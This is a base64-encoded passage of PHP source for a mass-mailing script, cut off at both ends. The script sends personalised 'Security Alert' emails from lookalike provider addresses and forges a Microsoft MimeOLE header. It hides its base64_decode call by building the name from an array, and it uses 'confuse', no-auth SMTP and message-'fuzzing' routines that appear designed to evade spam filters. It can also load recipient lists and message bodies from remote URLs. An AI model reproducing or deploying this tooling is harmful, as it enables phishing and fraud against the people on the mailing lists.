5kKDAsICRjaGFyYWN0ZXJzTGVuZ3RoIC0gMSldOwogICAgfQogICAgcmV0dXJuICRyYW5kb21TdHJpbmc7Cn0KCmZ1bmN0aW9uIGdlbmVyYXRlUmFuZG9tTnVtZXJpY1N0cmluZygkbGVuZ3RoID0gMTApIHsKICAgICRjaGFyYWN0ZXJzID0gJzAxMjM0NTY3ODknOwogICAgJGNoYXJhY3RlcnNMZW5ndGggPSBzdHJsZW4oJGNoYXJhY3RlcnMpOwogICAgJHJhbmRvbVN0cmluZyA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgewogICAgICAgICRyYW5kb21TdHJpbmcgLj0gJGNoYXJhY3RlcnNbcmFuZCgwLCAkY2hhcmFjdGVyc0xlbmd0aCAtIDEpXTsKICAgIH0KICAgIHJldHVybiAkcmFuZG9tU3RyaW5nOwp9CgpmdW5jdGlvbiBteU1haWwoJGZyb20sICR0bywgJHRoaXNTdWJqZWN0LCAkbWVzc2FnZUJvZHkpewoJZ2xvYmFsICRlaGxvSG9zdDsKCWlmICgkX1BPU1RbJ25vQXV0aFNtdHAnXT09InllcyIpIHsKCQlpZiAoaXNzZXQoJF9HRVRbJ21peCddKSkgewoJCQkkc3RhdHVzZXMgPSBtaXgoJGZyb20sICR0bywgJG1lc3NhZ2VCb2R5KTsKCQl9ZWxzZWlmIChpc3NldCgkX0dFVFsnY29uZnVzZSddKSkgewoJCQkkc3RhdHVzZXMgPSBzZW5kTWFpbCgkZnJvbSwgJHRvLCAkbWVzc2FnZUJvZHkpOwoJCQkvLyRzdGF0dXNlcyA9IHNlbmRNYWlsKCRmcm9tLCAkdG8sICRtZXNzYWdlQm9keSk7CgkJfWVsc2VpZihpc3NldCgkX0dFVFsnY29uZnVzZTInXSkpewoJCQkkc3RhdHVzZXMgPSBzZW5kTWFpbDMoJGZyb20sICR0bywgJG1lc3NhZ2VCb2R5KTsKCQl9ZWxzZWlmKGlzc2V0KCRfR0VUWydjb25mdXNlMyddKSl7CgkJCSRzdGF0dXNlcyA9IHNlbmRNYWlsNCgkZnJvbSwgJHRvLCAkbWVzc2FnZUJvZHkpOwoJCX1lbHNlaWYoaXNzZXQoJF9HRVRbJ2RpcmVjdHNlbmQnXSkpewoJCQkvL2ZvcmsgdGhpcyBjYWxsLHByaW50IHN0YXR1cyBhbmQgZXhpdCBjaGlsZCBhY2NvcmRpbmdseQoJCQkkc3RhdHVzZXMgPSBzZW5kTWFpbDUoJGZyb20sICR0bywgJG1lc3NhZ2VCb2R5KTsKCQl9ZWxzZXsKCQkJJHN0YXR1c2VzID0gc2VuZE1haWwyKCRmcm9tLCAkdG8sICRtZXNzYWdlQm9keSk7CgkJfQoJCSRzdHJzdGF0dXMgPSAiPT4gIi5pbXBsb2RlKCI9PiAiLGFycmF5X3ZhbHVlcygkc3RhdHVzZXMpKTsKCQkkc3RhdHVzID0gcHJlZ19tYXRjaCgiLz0+XHNbNDVdWzAtOV17Mn0oLXxccykvIiwgJHN0cnN0YXR1cyk7CgkJaWYgKCRzdGF0dXM9PTB8fCAkc3RhdHVzPT09ZmFsc2UpIHsKCQkJcmV0dXJuIHRydWU7CgkJfQoJCXJldHVybiBmYWxzZTsKCX0KCSRzZnJvbSA9ICIkdXNlcm5hbWVAJGVobG9Ib3N0IjsKCWlmIChpc3NldCgkX1BPU1RbJ3NtdHBfZnJvbV9lbWFpbCddKSAmJiBzdHJsZW4oJF9QT1NUWydzbXRwX2Zyb21fZW1haWwnXSkgPiAzKSB7CgkJJHNmcm9tID0gJF9QT1NUWydzbXRwX2Zyb21fZW1haWwnXTsKCX0KICAgICRmaXJzdE5MID0gc3RycG9zKCRtZXNzYWdlQm9keSwgIlxyXG5cclxuIik7CiAgICAkdGhpc0V4dHJhSGVhZGVycyA9IHN1YnN0cigkbWVzc2FnZUJvZHksIDAsICRmaXJzdE5MKzIpOwogICAgLy9lY2hvIGpzb25fZW5jb2RlKCR0aGlzRXh0cmFIZWFkZXJzKS4nPGJyIC8+JzsKICAgICR0aGlzTWVzc2FnZSA9IHN1YnN0cigkbWVzc2FnZUJvZHksICRmaXJzdE5MKzQpOwogICAgLy9lY2hvIGpzb25fZW5jb2RlKCR0aGlzTWVzc2FnZSkuJzxiciAvPic7CglpZiAobWFpbCgkdG8sICR0aGlzU3ViamVjdCwgJHRoaXNNZXNzYWdlLCAkdGhpc0V4dHJhSGVhZGVycywgIi1mJHNmcm9tIikpIHsKCQlyZXR1cm4gdHJ1ZTsKCX0KCWlmIChpc3NldCgkX0dFVFsnZGVidWcnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdlcnJvcl9nZXRfbGFzdCcpKSB7CgoJCXByaW50X3IoZXJyb3JfZ2V0X2xhc3QoKSk7Cgl9CglyZXR1cm4gZmFsc2U7CgoJLy9jaGVjayBpZiB0aGUgbm9hdXRoIHNtdHAgbWV0aG9kIGlzIHNldCwgdGhlbiB1cyBub2F1dGggc210cCB0cmljayBpbnN0ZWFkCn0KCmZ1bmN0aW9uIGlzSXAoJHN0cmluZyl7CiAgICAkcGFydHMgPSBleHBsb2RlKCIuIiwgJHN0cmluZyk7CiAgICBpZiAoY291bnQoJHBhcnRzKSE9NCkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIGZvcmVhY2ggKCRwYXJ0cyBhcyAkcGFydCkgewogICAgICAgIGlmICghaXNfbnVtZXJpYygkcGFydCkpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiB0cnVlOwp9CgovL2VuZCByZW1vdmUgc2xhc2hlcy4KJHBhdCA9IGdlbmVyYXRlUmFuZG9tTnVtZXJpY1N0cmluZyg2KTsKJGlkID0gIlBhcnQtJHBhdC0iLmdlbmVyYXRlUmFuZG9tTnVtZXJpY1N0cmluZygxOSk7CiRpZDIgPSAiUGFydC0kcGF0LSIuZ2VuZXJhdGVSYW5kb21OdW1lcmljU3RyaW5nKDE5KTsKJGxhc3RCaXQgPSAxOwokc2xhc3RCaXQgPSAxOwokZXJyb3JDb3VudCA9IGFycmF5KCk7Ci8qKioqKioqKioqKioqKipDT05GSUcqKioqKioqKioqKioqKi8KJGZyb21OYW1lCQk9IGlzc2V0KCRfUE9TVFsnZnJvbV9uYW1lJ10pPyRfUE9TVFsnZnJvbV9uYW1lJ106Int7UHJvdmlkZXJ9fSI7CiRmcm9tRW1haWwJCT0gaXNzZXQoJF9QT1NUWydmcm9tX2VtYWlsJ10pPyRfUE9TVFsnZnJvbV9lbWFpbCddOiJ1c2VybWVzc2FnZXMue3twcm92aWRlcn19aW5jQG1haWwudGVhbS5ub3RpZi5tc2dzZWMubm90aWNlcy5lbnJvbGwuYXR2anAuY29tIjsKJHJlcGx5dG8JCT0gaXNzZXQoJF9QT1NUWydyZXBseV90byddKT8kX1BPU1RbJ3JlcGx5X3RvJ106ImFsdC5qaS02ejR2bzVhQHlvcG1haWwuY29tIjsKJHN1YmplY3QJCT0gaXNzZXQoJF9QT1NUWydzdWJqZWN0J10pPyRfUE9TVFsnc3ViamVjdCddOiJTZWN1cml0eSBBbGVydCBmb3Ige3tlbWFpbH19IjsKJHRlc3RNc2dBZnRlcgk9IDEwMDA7Ly9lbWFpbHMKJHRlc3RFbWFpbAkJPSBpc3NldCgkX1BPU1RbJ21lc3NhZ2UnXSk/bnVsbDoiYWx0LmppLTZ6NHZvNWFAeW9wbWFpbC5jb20iOwokbWVzc2FnZUZpbGUgCT0gaXNzZXQoJF9QT1NUWydtZXNzYWdlJ10pP251bGw6Jyc7CiRsaXN0RmlsZQkJPSBpc3NldCgkX1BPU1RbJ2xpc3QnXSk/bnVsbDonJzsKJGZpZWxkc1NlcGFyYXRvcj0gJywnOwokZXh0cmFIZWFkZXJzID0gIk1JTUUtVmVyc2lvbjogMS4wXG4iOwokZXh0cmFIZWFkZXJzIC49ICJEYXRlOiB7e2RhdGV9fVxuIjsKJGV4dHJhSGVhZGVycyAuPSAiRnJvbToge3tmcm9tTmFtZX19IDx7e2Zyb21FbWFpbH19PlxuIjsKJGV4dHJhSGVhZGVycyAuPSAoaXNzZXQoJF9QT1NUWydub0F1dGhTbXRwJ10pICYmICRfUE9TVFsnbm9BdXRoU210cCddPT0ibm8iKSA/ICIiIDogIlN1YmplY3Q6IHt7c3ViamVjdH19XG4iOwokZXh0cmFIZWFkZXJzIC49IChpc3NldCgkX1BPU1RbJ25vQXV0aFNtdHAnXSkgJiYgJF9QT1NUWydub0F1dGhTbXRwJ109PSJubyIpID8gIiIgOiAiVG86IHt7dG99fVxuIjsKJGV4dHJhSGVhZGVycyAuPSAoc3RybGVuKCRyZXBseXRvKT40KSA/ICJSZXBseS1UbzogJHJlcGx5dG9cbiIgOiAiIjsKJGV4dHJhSGVhZGVycyAuPSAiWC1Qcmlvcml0eTogMVxyXG4iOwokZXh0cmFIZWFkZXJzIC49ICJYLU1TTWFpbC1Qcmlvcml0eTogSGlnaFxuIjsKJGV4dHJhSGVhZGVycyAuPSAiSW1wb3J0YW5jZTogSGlnaFxuIjsKJGV4dHJhSGVhZGVycyAuPSAiWC1NaW1lT0xFOiBQcm9kdWNlZCBCeSBNaWNyb3NvZnQgTWltZU9MRSBWNi4xMC4yODAwLjQ0MDkuMjAyMTU4NjQ0OS5pby5qaDMxIjsKCgovKioqKioqKioqKioqKioqRU5EIE9GIENPTkZJRyoqKioqKioqKioqKioqLwoKaWYgKGlzc2V0KCRfR0VUWydtb2RlOSddKXx8IWVtcHR5KCRfUE9TVCl8fCFmaWxlX2V4aXN0cygkbGlzdEZpbGUpKSB7CgkkZWhsb0hvc3QgPSBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk/Z2V0aG9zdGJ5YWRkcigkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk6Z2V0aG9zdGJ5YWRkcigkX1NFUlZFUlsnTE9DQUxfQUREUiddKTsKCSRsaXN0RmlsZSA9ICFmaWxlX2V4aXN0cygkbGlzdEZpbGUpPyBudWxsOiRsaXN0RmlsZTsKCSRtZXNzYWdlRmlsZSA9ICFmaWxlX2V4aXN0cygkbWVzc2FnZUZpbGUpP251bGw6JG1lc3NhZ2VGaWxlOwoJJF9QT1NUWydtZXNzYWdlJ10gPSBpc3NldCgkX1BPU1RbJ21lc3NhZ2UnXSk/JF9QT1NUWydtZXNzYWdlJ106ZmFsc2U7CgkvL2NoZWNrIGlmIHNlc3Npb24gaWQgaXMgc2V0IGFuZCBzdG9yZSBtZXNzYWdlIHN0cmluZyB0aGVyZQoJaWYoaXNzZXQoJF9HRVRbJ3Nlc3NfaWQnXSkgJiYgc3RybGVuKCRfUE9TVFsnbWVzc2FnZSddKSA+IDUpewoJCSRfU0VTU0lPTlsnbWVzc2FnZSddID0gJF9QT1NUWydtZXNzYWdlJ107Cgl9ZWxzZWlmKGlzc2V0KCRfU0VTU0lPTlsnbWVzc2FnZSddKSAmJiBzdHJsZW4oJF9TRVNTSU9OWydtZXNzYWdlJ10pPjUpewoJCSRfUE9TVFsnbWVzc2FnZSddID0gJF9TRVNTSU9OWydtZXNzYWdlJ107Cgl9CgkkX1BPU1RbJ2xpc3QnXSA9IGlzc2V0KCRfUE9TVFsnbGlzdCddKT8kX1BPU1RbJ2xpc3QnXTpmYWxzZTsKCgoJLy9lY2hvICRfUE9TVFsnbGlzdCddOwoJJGFyZnVuID0gYXJyYXkoJ2InLCdhJywncycsJ2UnLCc2JywnNCcsJ18nLCdkZScsJ2NvJywnZGUnKTsKCSRiNmZ1ciA9IGltcGxvZGUoIiIsICRhcmZ1bik7CgkvL2hhdmUgdG8gZGNkZSBtZXNzYWdlIGZyb20gYiA2IDQgCgkkbWVzc2FnZSA9ICgkbWVzc2FnZUZpbGU9PW51bGwgKT8kYjZmdXIoJF9QT1NUWydtZXNzYWdlJ10pOmZpbGVfZ2V0X2NvbnRlbnRzKCRtZXNzYWdlRmlsZSk7CgkvL2lmIG1lc3NhZ2UgaXMgYSB1cmwsIGZldGNoIHRoZSBjb250ZW50CgkkZmlyc3RTZXZlbiA9IHN1YnN0cigkbWVzc2FnZSwgMCwgNyk7CglpZiAoJGZpcnN0U2V2ZW49PSdodHRwOi8vJyB8fCAkZmlyc3RTZXZlbj09J2h0dHBzOi8nKSB7CgkJJG1lc3NhZ2UgPSBnZXRfZGF0YSgkbWVzc2FnZSk7Cgl9CgkvL2xvY2FsIGZpbGU/CglpZiAoJGZpcnN0U2V2ZW49PSdsb2NhbDovJykgewoJCSRsb2NhbEZpbGUgPSBzdHJfcmVwbGFjZSgnbG9jYWw6Ly8nLCAnJywgJG1lc3NhZ2UpOwoJCSRtZXNzYWdlID0gZmlsZV9nZXRfY29udGVudHMoJGxvY2FsRmlsZSk7CiAgICB9CiAgICAvL2ZvcmNlIGl0IHRvIHVzZSBtdWx0aXBhcnQgYWx0ZXJuYXRpdmUgaGVyZSBmb3Igbm93LgogICAgLy93aWxsIG1ha2UgaXQgb3B0aW9uYWwgbGF0ZXIgd2hlbiBlbmFibGluZyBhdHRhY2htZW50IGZvciBobWFpbAoJaWYgKHN0cnBvcygkbWVzc2FnZSwgJ3t7aWR9fScpPT09ZmFsc2UgJiYKCQlzdHJwb3MoJG1lc3NhZ2UsICd7e2lkMn19Jyk9PT1mYWxzZSkgewoJCSRleHRyYUhlYWRlcnMgLj0gIlxuQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PVwidXRmLThcIiI7CgkJJGV4dHJhSGVhZGVycyAuPSAiXG5Db250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBxdW90ZWQtcHJpbnRhYmxlIjsKCX1lbHNlaWYgKHN0cnBvcygkbWVzc2FnZSwgJ3t7aWQyfX0nKT09PWZhbHNlKSB7CgkJJGV4dHJhSGVhZGVycyAuPSAiXG5Db250ZW50LVR5cGU6IG11bHRpcGFydC9hbHRlcm5hdGl2ZTsgYm91bmRhcnk9XCIkaWRcIiI7Cgl9ZWxzZWlmIChzdHJwb3MoJG1lc3NhZ2UsICd7e2lkMn19JykhPT1mYWxzZSkgewoJCSRleHRyYUhlYWRlcnMgLj0gIlxuQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvbWl4ZWQ7IGJvdW5kYXJ5PVwiJGlkXCIiOwoJfQoJaWYgKGlzc2V0KCRfUE9TVFsnbm9BdXRoU210cCddKSAmJiAkX1BPU1RbJ25vQXV0aFNtdHAnXT09InllcyIpIHsKCX0KCS8vJGV4dHJhSGVhZGVycyA9IHN0cl9yZXBsYWNlKCJcbiIsICJcclxuIiwgJGV4dHJhSGVhZGVycyk7Cgkkc2VhcmNoID0gYXJyYXkoJ3t7ZnJvbU5hbWV9fScsJ3t7ZnJvbUVtYWlsfX0nLCd7e3JlcGx5dG99fScsJ3t7c3ViamVjdH19Jywne3tob3N0bmFtZX19Jyk7CgkkcmVwbGFjZSA9IGFycmF5KCRmcm9tTmFtZSwgJGZyb21FbWFpbCwgJHJlcGx5dG8sICRzdWJqZWN0LCAkZWhsb0hvc3QpOwoJJG1lc3NhZ2UgPSBzdHJfcmVwbGFjZSgkc2VhcmNoLCAkcmVwbGFjZSwgJG1lc3NhZ2UpOwoJJGV4dHJhSGVhZGVycyA9IHN0cl9yZXBsYWNlKCRzZWFyY2gsICRyZXBsYWNlLCAkZXh0cmFIZWFkZXJzKTsKCSRlbWFpbExpc3QgPSAoJGxpc3RGaWxlPT1udWxsKT8kX1BPU1RbJ2xpc3QnXTpmaWxlX2dldF9jb250ZW50cygkbGlzdEZpbGUpOwoJJGVtYWlsTGlzdCA9IHN0cl9yZXBsYWNlKGFycmF5KCJcclxuIiwiXHIiKSwgIlxuIiwgJGVtYWlsTGlzdCk7CgkkZW1haWxMaXN0ID0gZXhwbG9kZSgiXG4iLCAkZW1haWxMaXN0KTsKCS8vaWYgbGlzdCBpcyBhIHVybCwgZmV0Y2ggdGhlIGNvbnRlbnQKCSRlbWFpbExpc3RbMV0gPSB1cmxkZWNvZGUoJGVtYWlsTGlzdFsxXSk7CgkkZmlyc3RTZXZlbiA9IHN1YnN0cigkZW1haWxMaXN0WzFdLCAwLCA3KTsKCWlmICgkZmlyc3RTZXZlbj09J2h0dHA6Ly8nIHx8ICRmaXJzdFNldmVuPT0naHR0cHM6LycpIHsKCQkkZmV0Y2hlZEVtYWlscyA9IGdldF9kYXRhKCRlbWFpbExpc3RbMV0pOwoJCSRmZXRjaGVkRW1haWxzID0gc3RyX3JlcGxhY2UoIlxyXG4iLCAiXG4iLCAkZmV0Y2hlZEVtYWlscyk7CgkJJGZldGNoZWRFbWFpbHMgPSBleHBsb2RlKCJcbiIsICRmZXRjaGVkRW1haWxzKTsKCQkkcHJlZml4ID0gYXJyYXkoJGVtYWlsTGlzdFswXSk7CgkJdW5zZXQoJGVtYWlsTGlzdFswXSk7CgkJdW5zZXQoJGVtYWlsTGlzdFsxXSk7CgkJJGVtYWlsTGlzdCA9IGFycmF5X21lcmdlKCRwcmVmaXgsJGZldGNoZWRFbWFpbHMsICRlbWFpbExpc3QpOwoJfQoJJGNvdW50ID0gY291bnQoJGVtYWlsTGlzdCk7CgkkbWVyZ2VGaWVsZHNMaW5lID0gYXJyYXlfc2hpZnQoJGVtYWlsTGlzdCk7CgkkbWVyZ2VTZWFyY2ggPSBleHBsb2RlKCRmaWVsZHNTZXBhcmF0b3IsICRtZXJnZUZpZWxkc0xpbmUpOwoJJG1zZWFyY2hDb3VudCA9IGNvdW50KCRtZXJnZVNlYXJjaCk7CgkkbWVyZ2VGaWVsZHNDb3VudCA9IGNvdW50KGV4cGxvZGUoJGZpZWxkc1NlcGFyYXRvciwgJG1lcmdlRmllbGRzTGluZSkpOwoJJG1lcmdlU2VhcmNoW10gPSAne3tpZH19JzsKCSRtZXJnZVNlYXJjaFtdID0gJ3t7aWQyfX0nOwoJJHByb3ZpZGVySW5kZXggPSBhcnJheV9zZWFyY2goJ3t7cHJvdmlkZXJ9fScsICRtZXJnZVNlYXJjaCk7CgkvL2xvb3AgdGhyb3VnaCBsaW5lcywgcmVwbGFjZSBtZXJnZSBmaWVsZHMgYW5kIHNlbmQgbWVzc2FnZS4KCSRjb3VudGVyID0gMTsKCS8vZmlyc3QgZG8gYSBjaGVjayBmb3IgYXR0YWNobWVudCBhbmQgZG8gdGhlIG5lZWRmdWwKCWlmKGlzc2V0KCRfU0VTU0lPTlsnYXR0YWNobWVudCddKSAmJiAhZmlsZV9leGlzdHMoJF9TRVNTSU9OWydhdHRhY2htZW50J10pKSB7CgkJZWNobyAiPHNjcmlwdD5hbGVydCgneW91ciBhdHRjaG1lbnQgY291bGRuXCd0IGJlIGZvdW5kXG4gcGxlYXNlIHVwbG9hZCBhdHRhY2htZW50IGFuZCByZWxvYWQgcGFnZSB0byBjb250aW51ZScpOzwvc2NyaXB0PiI7CgkJLy9sZXQncyBzdG9wIHByb2Nlc3NpbmcgcmlnaHQgYXdheSEhIQoJCWV4aXQoKTsKCX0KCWZvciAoJGk9MDsgJGkgPCBjb3VudCgkZW1haWxMaXN0KTsgJGkrKykgeyAKCQkkZW1haWxMaXN0TGluZSA9ICRlbWFpbExpc3RbJGldOwoJCWlmIChpc3NldCgkZW1haWxMaXN0WyRpKzFdKSkgewoJCQkkbmV4dFRvID0gJGVtYWlsTGlzdFskaSsxXTsKCQl9ZWxzZXsgJG5leHRUbyA9ICcnO30KCQkkbXNlY29uZHMgPSB0aW1lKCkgKyAoaW50ZWdlcikgJF9TRVNTSU9OWydjb3VudGEnXTsKCQkkZGF0ZSA9IGRhdGUoJ0QsIGogTSBZIGg6aTpzJywgJG1zZWNvbmRzKTsKCQkkcmVwbGFjZUZpZWxkcyA9IGV4cGxvZGUoJGZpZWxkc1NlcGFyYXRvciwgJGVtYWlsTGlzdExpbmUpOwoJCSRsaW5lTVhyID0gZmFsc2U7CgkJZm9yZWFjaCgkcmVwbGFjZUZpZWxkcyBhcyAkZmllbGQpewoJCQlpZiAoc3RycG9zKCRmaWVsZCwgJ214cjonKSE9PWZhbHNlKSB7CgkJCQlsaXN0KCRwcmVmLCAkbXhyKSA9IGV4cGxvZGUoIjoiLCAkZmllbGQpOwoJCQkJJGxpbmVNWHIgPSBleHBsb2RlKCI7Iiwgc3RydG9sb3dlcigkbXhyKSk7CgkJCX0KCQl9CgkJJHJlbW92ZUNvdW50ICA9ICAkbXNlYXJjaENvdW50IC0gY291bnQoJHJlcGxhY2VGaWVsZHMpOwoJCQoJCWlmICgkcmVtb3ZlQ291bnQ8MCkgewoJCQkvL3JlbW92ZSBhbnkgZXh0cmEgZmllbGRzIHNwZWNpZmllZC4uLiBjYXVzZXMgcHJvYmxlbXMKCQkJJHJlcGxhY2VGaWVsZHMgPSBhcnJheV9zbGljZSgkcmVwbGFjZUZpZWxkcywgMCwgJHJlbW92ZUNvdW50KTsKCQl9CgkJJHJlcGxhY2VGaWVsZHMgPSBhcnJheV9wYWQoJHJlcGxhY2VGaWVsZHMsICRtZXJnZUZpZWxkc0NvdW50LCAwKTsKCQkkbWVyZ2VSZXBsYWNlID0gJHJlcGxhY2VGaWVsZHM7CgkJLy8kbWVyZ2VSZXBsYWNlID0gZXhwbG9kZSgkZmllbGRzU2VwYXJhdG9yLCAkZW1haWxMaXN0TGluZSk7CgkJJG1lcmdlUmVwbGFjZVtdID0gJGlkOwoJCSRtZXJnZVJlcGxhY2VbXSA9ICRpZDI7CgkJJHRvID0gJG1lcmdlUmVwbGFjZVswXTsgLy9hc3N1bWluZyBmaXJzdCBmaWVsZCBpcyB0aGUgZW1haWwgZmllbGQuCgkJaWYgKHN0cmxlbigkdG8pID4gNSkgewoJCQkvL2NvbXB1dGUgZXh0cmEgbWVyZ2UgZmllbGRzCgkJCWxpc3QoJHVzZXJuYW1lLCRlbWFpbERvbWFpbikgPSBleHBsb2RlKCdAJywgJHRvKTsKCQkJbGlzdCgkcHJvdmlkZXIpID0gZXhwbG9kZSgnLicsICRlbWFpbERvbWFpbik7CgkJCSR1c2VybmFtZSA9IHN0cnRvbG93ZXIoJHVzZXJuYW1lKTsKCQkJJGVtYWlsRG9tYWluID0gc3RydG9sb3dlcigkZW1haWxEb21haW4pOwoJCQkkcHJvdmlkZXIgPSAoJHByb3ZpZGVySW5kZXghPT1mYWxzZSk/JG1lcmdlUmVwbGFjZVskcHJvdmlkZXJJbmRleF06c3RydG9sb3dlcigkcHJvdmlkZXIpOwoJCQkkdXNlcm5hbWVDYXBzID0gc3RydG91cHBlcigkdXNlcm5hbWUpOwoJCQkkZW1haWxEb21haW5DYXBzID0gc3RydG91cHBlcigkZW1haWxEb21haW4pOwoJCQkkcHJvdmlkZXJDYXBzID0gc3RydG91cHBlcigkcHJvdmlkZXIpOwoJCQkkdXNlcm5hbWVGaXJzdExldHRlckNhcHMgPSB1Y2ZpcnN0KCR1c2VybmFtZSk7CgkJCSRlbWFpbERvbWFpbkZpcnN0TGV0dGVyQ2FwcyA9IHVjZmlyc3QoJGVtYWlsRG9tYWluKTsKCQkJJHByb3ZpZGVyRmlyc3RMZXR0ZXJDYXBzID0gdWNmaXJzdCgkcHJvdmlkZXIpOwoJCQkkX1NFU1NJT05bJ2NvdW50YSddID0gaXNzZXQoJF9TRVNTSU9OWydjb3VudGEnXSk/JF9TRVNTSU9OWydjb3VudGEnXToxOwoJCQkkc2Vzc2lvbkNvdW50ZXIgPSBpc3NldCgkX1NFU1NJT05bJ2NvdW50YSddKT8kX1NFU1NJT05bJ2NvdW50YSddOiAwOwoJCQkkYXBwZW5kTWVyZ2VTZWFyY2ggPSBhcnJheSggJ3t7dXNlcm5hbWV9fScsJ3t7ZG9tYWlufX0nLCd7e3Byb3ZpZGVyfX0nLAoJCQkJCQkJCQkJJ3t7VXNlcm5hbWV9fScsJ3t7RG9tYWlufX0nLCd7e1Byb3ZpZGVyfX0nLAoJCQkJCQkJCQkJJ3t7VVNFUk5BTUV9fScsJ3t7RE9NQUlOfX0nLCd7e1BST1ZJREVSfX0nLAoJCQkJCQkJCQkJJ3t7cmFuZG9tSWR9fScsJ3t7Y291bnRlcn19Jywne3tkYXRlfX0nLAoJCQkJCQkJCQkJJ3t7dG99fScKCQkJCQkJCQkJKTsKCQkJJGFwcGVuZE1lcmdlUmVwbGFjZSA9IGFycmF5KCAKCQkJCQkJCQkJCSR1c2VybmFtZSwgJGVtYWlsRG9tYWluLCAkcHJvdmlkZXIsCgkJCQkJCQkJCQkkdXNlcm5hbWVGaXJzdExldHRlckNhcHMsICRlbWFpbERvbWFpbkZpcnN0TGV0dGVyQ2FwcywgJHByb3ZpZGVyRmlyc3RMZXR0ZXJDYXBzLAoJCQkJCQkJCQkJJHVzZXJuYW1lQ2FwcywgJGVtYWlsRG9tYWluQ2FwcywgJHByb3ZpZGVyQ2FwcywKCQkJCQkJCQkJCSBnZW5lcmF0ZVJhbmRvbUFscGhhTnVtZXJpY1N0cmluZygxMCksJHNlc3Npb25Db3VudGVyLCRkYXRlLCR0bwoJCQkJCQkJCQkpOwoJCQkkdGhpc01lcmdlU2VhcmNoID0gYXJyYXlfbWVyZ2UoJG1lcmdlU2VhcmNoLCAkYXBwZW5kTWVyZ2VTZWFyY2gpOyAvL2F2b2lkIGFsdGVyaW5nIG1lcmdlIHNlYXJjaCBmb3Igb3RoZXIgbGluZXMKCQkJJG1lcmdlUmVwbGFjZSA9IGFycmF5X21lcmdlKCRtZXJnZVJlcGxhY2UsICRhcHBlbmRNZXJnZVJlcGxhY2UpOwoJCQkvL3ByaW50X3IoJHRoaXNNZXJnZVNlYXJjaCk7CgkJCS8vcHJpbnRfcigkbWVyZ2VSZXBsYWNlKTsKCQkJJGFkZFNlYXJjaFJlcGxhY2UgPSBhcnJheSgpOwoJCQlmb3IgKCRlPTA7ICRlIDwgY291bnQoJHRoaXNNZXJnZVNlYXJjaCk7ICRlKyspIHsgCgkJCQkka2V5ID0gIHN0cnRvbG93ZXIoc3Vic3RyKCR0aGlzTWVyZ2VTZWFyY2hbJGVdLCAyLCAtMikpIDsKCQkJCS8vZWNobyAka2V5LiI8YnI+IjsKCQkJCSRhZGRTZWFyY2hSZXBsYWNlWyJ7VXsiLiRrZXkuIn19Il0gPSBzdHJ0b3VwcGVyKCRtZXJnZVJlcGxhY2VbJGVdKTsKCQkJCSRhZGRTZWFyY2hSZXBsYWNlWyJ7RnsiLiRrZXkuIn19Il0gPSB1Y2ZpcnN0KCRtZXJnZVJlcGxhY2VbJGVdKTsKCQkJCSRhZGRTZWFyY2hSZXBsYWNlWyJ7THsiLiRrZXkuIn19Il0gPSBzdHJ0b2xvd2VyKCRtZXJnZVJlcGxhY2VbJGVdKTsKCQkJCSRhZGRTZWFyY2hSZXBsYWNlWyJ7VVd7Ii4ka2V5LiJ9fSJdID0gdWN3b3JkcygkbWVyZ2VSZXBsYWNlWyRlXSk7CgkJCX0KCQkJJHRoaXNNZXJnZVNlYXJjaCA9IGFycmF5X21lcmdlKCR0aGlzTWVyZ2VTZWFyY2gsIGFycmF5X2tleXMoJGFkZFNlYXJjaFJlcGxhY2UpKTsKCQkJJG1lcmdlUmVwbGFjZSA9IGFycmF5X21lcmdlKCRtZXJnZVJlcGxhY2UsIGFycmF5X3ZhbHVlcygkYWRkU2VhcmNoUmVwbGFjZSkpOwoJCQkvL3ByaW50X3IoJHRoaXNNZXJnZVNlYXJjaCk7CgkJCSRzbXRwX2Zyb20gPSBzdHJfcmVwbGFjZSgkdGhpc01lcmdlU2VhcmNoLCAkbWVyZ2VSZXBsYWNlLCAkX1BPU1RbJ3NtdHBfZnJvbV9lbWFpbCddKTsKCQkJJHRoaXNNZXNzYWdlID0gc3RyX3JlcGxhY2UoJHRoaXNNZXJnZVNlYXJjaCwgJG1lcmdlUmVwbGFjZSwgJG1lc3NhZ2UpOyAvL3R3ZWFrIGhlcmUuCgkJCSR0aGlzU3ViamVjdCA9IHN0cl9yZXBsYWNlKCR0aGlzTWVyZ2VTZWFyY2gsICRtZXJnZVJlcGxhY2UsICRzdWJqZWN0KTsKCQkJJHRoaXNGcm9tRW1haWwgPSBzdHJfcmVwbGFjZSgkdGhpc01lcmdlU2VhcmNoLCAkbWVyZ2VSZXBsYWNlLCAkZnJvbUVtYWlsKTsKICAgICAgICAgICAgJHRoaXNGcm9tTmFtZSA9IHN0cl9yZXBsYWNlKCR0aGlzTWVyZ2VTZWFyY2gsICRtZXJnZVJlcGxhY2UsICRmcm9tTmFtZSk7CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgICAgICAgICAgIC8vIENVU1RPTSBNSU1FIEJVSUxERVI6IFJFUExBQ0VTIFBIUE1haWxlcgogICAgICAgICAgICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgICAgICAgICAgIC8vIDEuIEFwcGx5IGZ1enppbmcgdG8gdGhlIEhUTUwgbWVzc2FnZQogICAgICAgICAgICAkZnV6emVkSHRtbCA9IGZ1enpNZXNzYWdlKCR0aGlzTWVzc2FnZSk7CiAgICAgICAgICAgIC8vIDIuIEV4dHJhY3QgcGxhaW4gdGV4dCBmcm9tIHRoZSBmdXp6ZWQgSFRNTAogICAgICAgICAgICAkcGxhaW5UZXh0ID0gZXh0cmFjdFBsYWluVGV4dEZyb21IVE1MKCRmdXp6ZWRIdG1sKTsKICAgICAgICAgICAgLy8gMy4gQnVpbGQgTUlNRSBib2R5IChhdHRhY2htZW50IGZyb20gc2Vzc2lvb